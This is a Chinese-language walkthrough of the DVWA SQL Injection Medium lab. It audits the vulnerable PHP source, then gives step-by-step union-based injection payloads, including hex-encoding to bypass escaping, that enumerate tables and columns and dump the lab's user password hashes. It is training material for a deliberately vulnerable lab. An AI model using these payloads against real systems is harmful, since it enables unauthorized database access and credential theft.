DVWA靶场通关笔记-SQL注入(SQL Injection Medium级别)

目录

[一、SQL Injection](#一、SQL Injection)

二、代码审计(Medium级别)

1、源码分析

(1)index.php

(2)Medium.php

2、渗透思路

(1)SQL安全问题分析

(2)SQL渗透思路

三、渗透准备

1、配置安全级别

2、配置字符集

四、渗透实战

1、判断注入类型

[2、获取SQL 查询语句中的字段数:](#2、获取SQL 查询语句中的字段数:)

3、获取当前数据库:

4、获取数据库中的表:

5、获取表中的字段名:

6、获取字段信息:


DVWA(Damn Vulnerable Web Application)中的 SQL Injection 关卡是用于练习和演示 SQL 注入攻击的不同场景,不同安全等级存在不同的漏_洞和绕过方法,本小节对中等Medium级别的关卡进行渗透实战。

一、SQL Injection

SQL 注入(SQL Injection)是指攻击者通过在应用程序的输入字段中插入恶意 SQL 代码,从而执行非预期的数据库操作。使用联合注入方法的渗透步骤如下表所示。

步骤 目标 方法
确认注入点 判断是否存在SQL注入 输入逻辑表达式(如 1 OR 1=1),观察页面响应差异
确定字段数 推断查询的列数量 使用 ORDER BY N 递增测试,直至页面报错
寻找回显位置 定位可显示数据的字段 使用 UNION SELECT NULL,... 逐个替换为数字,观察页面显示内容
枚举数据库信息 子步骤 技术手段
1. 获取当前数据库名 SELECT database()
2. 枚举所有数据库 SELECT schema_name FROM information_schema.schemata
3. 获取目标表名 SELECT table_name FROM information_schema.tables WHERE table_schema='db_name'
4. 获取目标列名 SELECT column_name FROM information_schema.columns WHERE table_name='tbl_name'
5. 提取数据内容 SELECT col1,col2 FROM tbl_name

二、代码审计(Medium级别)

1、源码分析

(1)index.php

进入DVWA靶场源目录,找到index.php源码。

这段代码实现了这段 PHP 代码是 Damn Vulnerable Web Application (DVWA) 中 SQL 注入攻击演示页面的主控制器,主要功能包括:

  • 环境初始化:设置页面路径、验证用户身份、连接数据库。
  • 安全级别控制:根据用户 Cookie 中的安全级别设置(低、中、高、不可能),加载不同的实现文件。这些文件包含不同防护级别的 SQL 查询代码,用于演示不同难度的 SQL 注入场景。
  • 表单生成:根据安全级别动态生成不同的用户输入表单(低级、中级、高级、不可能共4个级别)
  • 环境检测:检查 PHP 配置中的魔术引号和安全模式,提供环境安全提示。
  • 结果展示:将 SQL 查询结果和安全参考资料链接整合到页面中。

经过注释后的详细代码如下所示。

复制代码
<?php

// 定义网站根目录路径常量,并引入页面处理工具
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

// 初始化页面,验证用户认证状态并启动PHPIDS防护模块
dvwaPageStartup( array( 'authenticated', 'phpids' ) );

// 创建新页面实例并设置页面元信息
$page = dvwaPageNewGrab();
$page[ 'title' ]   = 'Vulnerability: SQL Injection' . $page[ 'title_separator' ].$page[ 'title' ];
$page[ 'page_id' ] = 'sqli';
$page[ 'help_button' ]   = 'sqli';
$page[ 'source_button' ] = 'sqli';

// 连接数据库
dvwaDatabaseConnect();

// 设置表单提交方式的不同级别文件
$method            = 'GET';
$vulnerabilityFile = '';
// 根据安全级别Cookie选择不同的实现文件
switch( $_COOKIE[ 'security' ] ) {
	case 'low':
		$vulnerabilityFile = 'low.php';
		break;
	case 'medium':
		$vulnerabilityFile = 'medium.php';
		$method = 'POST'; // 中等级别使用POST方法
		break;
	case 'high':
		$vulnerabilityFile = 'high.php';
		break;
	default:
		$vulnerabilityFile = 'impossible.php'; // 默认使用安全实现
		break;
}

// 引入对应安全级别的SQL注入实现文件
require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/sqli/source/{$vulnerabilityFile}";

// 检查PHP环境配置并生成警告信息
$WarningHtml = '';
// 检测魔术引号是否开启(已弃用的安全机制)
if( ini_get( 'magic_quotes_gpc' ) == true ) {
	$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Magic Quotes</em>\" is enabled.</div>";
}
// 检测安全模式是否开启(已弃用的安全机制)
if( ini_get( 'safe_mode' ) == true ) {
	$WarningHtml .= "<div class=\"warning\">The PHP function \"<em>Safe mode</em>\" is enabled.</div>";
}

// 构建页面主体内容
$page[ 'body' ] .= "
<div class=\"body_padded\">
	<h1>Vulnerability: SQL Injection</h1>

	{$WarningHtml}

	<div class=\"vulnerable_code_area\">";
	
// 高级安全级别使用JavaScript弹窗获取用户ID
if( $vulnerabilityFile == 'high.php' ) {
	$page[ 'body' ] .= "Click <a href=\"#\" onclick=\"javascript:popUp('session-input.php');return false;\">here to change your ID</a>.";
}
// 其他安全级别使用表单获取用户ID
else {
	$page[ 'body' ] .= "
		<form action=\"#\" method=\"{$method}\">
			<p>
				User ID:";
				
	// 中等级别使用下拉菜单限制输入范围
	if( $vulnerabilityFile == 'medium.php' ) {
		$page[ 'body' ] .= "\n				<select name=\"id\">";

		// 动态生成下拉选项(基于数据库行数)
		for( $i = 1; $i < $number_of_rows + 1 ; $i++ ) { $page[ 'body' ] .= "<option value=\"{$i}\">{$i}</option>"; }
		$page[ 'body' ] .= "</select>";
	}
	// 低级别和不可能级别使用文本框直接输入
	else
		$page[ 'body' ] .= "\n				<input type=\"text\" size=\"15\" name=\"id\">";

	$page[ 'body' ] .= "\n				<input type=\"submit\" name=\"Submit\" value=\"Submit\">
			</p>\n";

	// 不可能级别添加CSRF令牌保护
	if( $vulnerabilityFile == 'impossible.php' )
		$page[ 'body' ] .= "			" . tokenField();

	$page[ 'body' ] .= "
		</form>";
}

// 添加查询结果区域和安全参考资料链接
$page[ 'body' ] .= "
		{$html} // 存储SQL查询结果的变量
	</div>

	<h2>More Information</h2>
	<ul>
		<li>" . dvwaExternalLinkUrlGet( 'http://www.securiteam.com/securityreviews/5DP0N1P76E.html' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/SQL_injection' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/SQL_Injection' ) . "</li>
		<li>" . dvwaExternalLinkUrlGet( 'http://bobby-tables.com/' ) . "</li>
	</ul>
</div>\n";

// 输出HTML页面
dvwaHtmlEcho( $page );

?>

(2)Medium.php

进入DVWA靶场源目录,找到Medium.php源码。

打开源码Medium.php,分析可知这段代码实现了一个简单的用户信息查询功能,如下所示。

这段代码可能被黑客进行SQL注入攻击,具体原因如下所示。

  • 通过表单接收用户输入的id参数(POST参数),仅使用mysqli_real_escape_string()过滤
  • 将该参数过滤后被拼接到 SQL 查询语句中,查询users表中的first_name和last_name
  • 将查询结果展示给用户

详细注释后的代码如下所示。

复制代码
<?php
// 检查是否提交了表单(Submit按钮被点击)
if( isset( $_POST[ 'Submit' ] ) ) {
    // 获取用户输入的id值
    $id = $_POST[ 'id' ];

    // 使用mysqli_real_escape_string对输入进行转义处理
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    // 构建SQL查询语句
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    
    // 执行查询,如果失败则显示错误信息
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // 遍历查询结果
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // 获取名字和姓氏
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // 构建HTML输出
        $html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
}

// 查询用户表中的总记录数
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

// 关闭数据库连接
mysqli_close($GLOBALS["___mysqli_ston"]);
?>

2、渗透思路

(1)SQL 安全问题分析

  • 输入仅经过mysqli_real_escape_string简单过滤,它只能防止字符串类型的注入,对于数字型参数无效。
  • SQL 拼接:将用户输入直接拼接到 SQL 语句中,未使用预处理语句。

(2)SQL 渗透思路

原始 **SQL语句:**SELECT first_name, last_name FROM users WHERE user_id = $id;

闭合单引号 :输入1 OR 1=1会导致 SQL 变为如下内容。

SELECT first_name, last_name FROM users WHERE user_id = 1 or 1=1;

由于1=1恒为真,该查询会返回所有用户记录。

三、渗透准备

1、配置安全级别

配置security为低等medium级别,如下图所示。

进入到SQL Injection关卡medium页面,完整URL地址具体如下所示。

复制代码
http://192.168.59.1/dvwa/vulnerabilities/sqli/

2、配置字符集

参考SQL注入报错"Illegal mix of collations for operation 'UNION'"解决办法-CSDN博客

为避免使用联合注入法时报错"Illegal mix of collations for operation 'UNION'",修改dvwa数据库user表的first_name与last_name字符集,如下图所示。

修改dvwa数据库user表的password字符集,如下图所示。

四、渗透实战

1、判断注入类型

进入靶场的SQL注入关卡,这里可以选择id的值(范围仅限1-5),页面上不可以自定义数值,如下所示。

页面回显为id,first name和surname参数,具体如下所示。

bp抓包如下红框所示,参数id通过POST方法传入。

由于报文中的参数id是通过POST传入,接下来我们通过burpsuite来进行渗透,将报文发送到bp,如下所示。

将id=1的数字后面加入单引号,基于源码分析我们知道单引号被转义,故而有如下报错信息。

2、获取SQL 查询语句中的字段数

输入1 order by 3#报错,效果如下所示。

输入1 order by 2#查询成功,效果如下所示。

综上所述,可判断出执行的 SQL 查询语句中只有两个字段。

3、获取当前数据库

输入-1 union select 1, 2#,判断回显位,如下所示1和2都限时成功,1和2这两个输出位置均为可用的回显位。

输入-1 union select database(), version()#,可得出当前使用的数据库为dvwa以及数据库版本信息。

4、获取数据库中的表

输入-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#,不过执行过程报错。

不过此时报错"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'dvwa\'#'",这是因为单引号被转义导致。这时候我们可以利用16进制来绕过转义过滤,选择使用bp的hackbar进行16进制转换,选中后encoding-hex encoding,string to 00ff00ff,具体如下所示。

转换后的值为0x64767761,如下所示。

此步骤渗透的SQL注入语句如下所示。

-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=0x64767761#

或者使用database()代替'dvwa',此时注入语句如下所示。

5、获取表中的字段名

输入-1 union select 1, group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#,按理可以获取users表的所有字段。

但是由于单引号被转义处理,故而我们使用16进制转换,注入命令修改为如下所示。

复制代码
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

输出关键信息如下所示,包含username和password两项内容。

复制代码
Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level,id,username,password

6、获取字段信息

输入-1 union select group_concat(user_id,first_name,last_name), group_concat(password) from users #,成功获取到用户名和加密后的密码,如下所示。

渗透获取道德文字版的用户名和密码如下所示。

复制代码
First name: 1adminadmin,2GordonBrown,3HackMe,4PabloPicasso,5BobSmith<br />
Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99
相关推荐
雪兽软件22 分钟前
2025 年十大网络安全预测
web安全·数据安全
Le_ee9 小时前
sqli-labs靶场第七关——文件导出注入
数据库·sql·网络安全·php·sql注入·sqli—labs
一口一个橘子11 小时前
[ctfshow web入门] web72
前端·web安全·网络安全
神经毒素17 小时前
WEB安全--Java安全--LazyMap_CC1利用链
java·开发语言·网络·安全·web安全
玉笥寻珍18 小时前
Web安全渗透测试基础知识之内存动态分配异常篇
网络·python·安全·web安全·网络安全
啃个萝卜21 小时前
msf安卓远控木马手动捆绑正常apk
安全·网络安全·渗透测试
玉笥寻珍1 天前
攻击溯源技术体系:从理论架构到工程化实践的深度剖析
网络·网络协议·web安全·安全威胁分析
玉笥寻珍1 天前
Web安全渗透测试基础知识之HTTP参数污染篇
网络·网络协议·安全·web安全·http
小白学安全hhhh1 天前
OFCMS代码审计-freemaker注入&sql注入&xxe&xss&文件上传
web安全